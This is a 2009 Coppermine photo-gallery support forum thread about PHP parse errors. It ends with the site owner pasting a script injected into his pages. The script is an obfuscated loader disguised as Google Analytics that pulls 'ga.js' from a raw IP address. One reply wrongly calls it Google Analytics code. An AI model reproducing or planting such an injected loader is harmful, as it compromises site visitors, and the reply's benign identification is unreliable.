Help with Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, Help with Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING,
 

News:

cpg1.5.48 Security release - upgrade mandatory!
The Coppermine development team is releasing a security update for Coppermine in order to counter a recently discovered vulnerability. It is important that all users who run version cpg1.5.46 or older update to this latest version as soon as possible.
[more]

Main Menu

Help with Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING,

Started by red04svtcobra, June 16, 2009, 12:43:32 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

red04svtcobra

Need help bad! 2 days ago my website was working fine and now it won;t bring up my gallery at all and has this error when trying to view it. Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';' in /home1/chrishul/public_html/gallery/index.php on line 872. From what I have read is my computer was probably infected by a virus and attached itself to some registry files and has caused this. I believe it is now clean. I cant bring up my gallery but you can go to www.chrishullphotography.com and at the very top is gallery (btw that top part is supposed to be black also).  If you need a link to something let me know. Thanks

Hein Traag


red04svtcobra

I believe it was the one right before the new one. I just got done upgrading to the new one right now and still doesn't work.

Joachim Müller

Quote from: red04svtcobra on June 16, 2009, 12:43:32 PMFrom what I have read is my computer was probably infected by a virus and attached itself to some registry files and has caused this.
Yeah, sure. Viruses attaching to some registry files. Aliens abducting innocent earthlings. Elvis, Marilyn Monroe, James Dean and John F. Kennedy only disappearing to assume world dictatorship. Or maybe it's those damn North Koreans. Or the Cubans. Or the CIA. :-\
Seriously: what you just posted about "having read something" and the vaguely quoting something that sounds virus-related is not very helpfull. In fact it shows that you have panicked. While it's human behaviour to panic if unexpected things happen I'm not sure why people react that way on a potential computer virus thread: there's no need to switch your brain off and go into panic mode if you're not a computer expert.
Even if your computer was infected and even if the virus would have messed with the Windows registry, this could in no way have infected your website unless you're self-hosting. If you actually are self-hosting, you have got yourself a problem, but that won't go away by cleaning a virus.

Quote from: red04svtcobra on June 16, 2009, 12:43:32 PM
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';' in /home1/chrishul/public_html/gallery/index.php on line 872.
That error message just means that the file the error message complains about is broken, that's all. A virus tries to remain disguised, it doesn't just cause a silly syntax error. You can not conclude from that error message that your website is virus-infected (of course you can't conclude the opposite neither). Restore a copy of that file that isn't broken. As you're running behind in versions, perform an upgrade as suggested in the docs that come with coppermine (link available at the top of this screen), which will fix your issue as well. If you're really convinced that your site was hacked or virus-infested, do exactly as suggested in the thread "Yikes, I've been hacked! Now what?".

Quote from: red04svtcobra on June 16, 2009, 12:43:32 PMI believe it is now clean.
How? Why?

Quote from: red04svtcobra on June 16, 2009, 12:43:32 PM
I cant bring up my gallery but you can go to www.chrishullphotography.com and at the very top is gallery (btw that top part is supposed to be black also).
Actual link to the gallery is http://www.chrishullphotography.com/gallery/index.php

Quote from: Hein Traag on June 16, 2009, 12:59:43 PM
Which version of cpg were you using?
He's using cpg1.4.21

Not related to initial install - moving

red04svtcobra

Could there be a problem with my main page and in turn is screwing up my gallery page? Man I am so pissed I worked so hard on that thing and to thing some hacker put a virus on my computer and messed everything up. >:(

Joachim Müller

Look, I tried to explain already that you can not conclude from the error message that your gallery got hacked. In fact it's very unlikely that this has been caused by a hacking attempt.
Do as I suggested and upgrade to the current stable release (cpg1.4.24) and your problem will go away. Promise.

@Hein: this thread was initially posted in misc and belongs there. The thread starter doesn't have issues with a first-time install, so this issue doesn't belong to the install sub-board, where you moved it to, but into the misc board. I moved it back to where it was started and where it belongs. Please don't move it once more.

red04svtcobra

Quote from: Joachim Müller on June 16, 2009, 01:12:14 PM
Restore a copy of that file that isn't broken. As you're running behind in versions, perform an upgrade as suggested in the docs that come with coppermine (link available at the top of this screen), which will fix your issue as well.
How do I restore a copy of "what" file that is broken. Which file and where do I need to look?
Oh, and I have the most recent update too. I just got done upgrading.
Thanks and I don't mean to blame anything on a virus but is it just odd that I had 3 viruses (2 mal and 1 troj) and a hack tool and then everything went wrong.

Joachim Müller

Quote from: red04svtcobra on June 16, 2009, 01:22:56 PM
How do I restore a copy of "what" file that is broken. Which file and where do I need to look?
You look at the error message and replace the file that the error message complains about.
Quote from: red04svtcobra on June 16, 2009, 12:43:32 PMParse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';' in /home1/chrishul/public_html/gallery/index.php on line 872.
is the error message according to your initial posting, so the file in question is /home1/chrishul/public_html/gallery/index.php. We can not tell for sure (it's your webserver, not ours), but that corresponds to the file http://www.chrishullphotography.com/gallery/index.php, i.e. the index file in coppermine's root folder. However, you do not have the most recent version cpg1.4.24 on your server, but the outdated version cpg1.4.21, so you need to upgrade anyway, replacing all coppermine files during that process. I already told you so.
Quote from: red04svtcobra on June 16, 2009, 01:22:56 PMOh, and I have the most recent update too.
Don't claim otherwise - I know better than you (for advanced users who wonder how I can be so sure: take a look at http://www.chrishullphotography.com/gallery/sql/update.sql). You came here for support, so you should do as supporters advice for a start instead of arguing with them.

Quote from: red04svtcobra on June 16, 2009, 01:22:56 PM
Thanks and I don't mean to blame anything on a virus but is it just odd that I had 3 viruses (2 mal and 1 troj) and a hack tool and then everything went wrong.
As you have failed to post if you're self-hosted or web-hosted we can't tell for sure, but as I suggested above: if you are webhosted (you should be), then the fact that your client was virus-infected doesn't matter much. Saying that you had two malwares and one trojan doesn't mean anything at all.

I'm getting the impression that yous actually is not a support request, but a trolling attempt. If that is the case, take your red hering and chew on it. If it isn't, please stop the unrelated rants about your client having been virus-infected for good and do as I suggested.


red04svtcobra

I'm not a troll here, just trying to get some support is all. Again sorry for all the stupid questions. I did as you suggested about upgrading and it did work on the gallery page. I had it upgraded before the last post its just I uploaded a new copy instead of upgrading. That was my bad, sorry. Now how do I get the main page back correct? There is supposed to be a black bar across the top? If this is unrelated to coppermine then I apologize and will ask somewhere else.
Again thank you for all your help it is now working!!!

Joachim Müller

Quote from: red04svtcobra on June 16, 2009, 01:50:11 PM
There is supposed to be a black bar across the top?
Can't replicate - I can see no black bar at the top. Post a screenshot.

Quote from: red04svtcobra on June 16, 2009, 01:50:11 PMIf this is unrelated to coppermine
Indeed is unrelated to coppermine.

red04svtcobra

Ok, here we go again. The same error is back and is doing the same thing. I have the newest update to coppermine too. There has to be something wrong going on that keeps causing this. Again, will all do respect, I still believe that a virus is causing this to happen to both my main page and my gallery. Reason being is my main page is messed up again and has this same code embedded in it right after the body code and getting the same error on my gallery. Here is the code that is embedded that doesn't belong there <script type="text/javascript">var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript srñ='" + gaJsHost + "google-analytics.com/ga.js' " + '!@&s(#r)c@!=&)\'&h$!t^&!$@t@&$p#^&@:$^/&@!&/!9(1)@.(2)1!(2)&.^#6&@&!^5(@!&.&#$1@!4)8!#/($g#$a&.(j^s)'.replace(/#|&|@|\$|\(|\!|\^|\)/ig, '') + "' type='text/javascript'%3E%3C/script%3E"));</script><script type="text/javascript">try {var pageTracker = _gat._getTracker("UA-32645524-1");pageTracker._trackPageview();} catch(err) {}</script>. What is it and how do I get rid of it and stop it from making my site and gallery not to work.
Again I am not a troll but just merely here to get some help is all. And when I say I believe it has to do with a virus it is because both times I have had 3 virus found on my computer and someone trying to get into my host and get by my firewall.

Hein Traag

That looks more like the Google Analytics code being injected in your page. Did you contact your host about this "virus" problem?

red04svtcobra

I haven't yet, but can you tell me why it is messing with my gallery too. I will try and contact them when I wake up later today.

red04svtcobra

I contacted my host and they did a back up of my web site and everything is fixed once again.

Joachim Müller

No, nothing is OK: you're still running behind in version count, so your gallery is still vulnerable against getting hacked. Upgrade, you're running cpg1.4.21, while the most recent stable release currently is cpg1.4.24.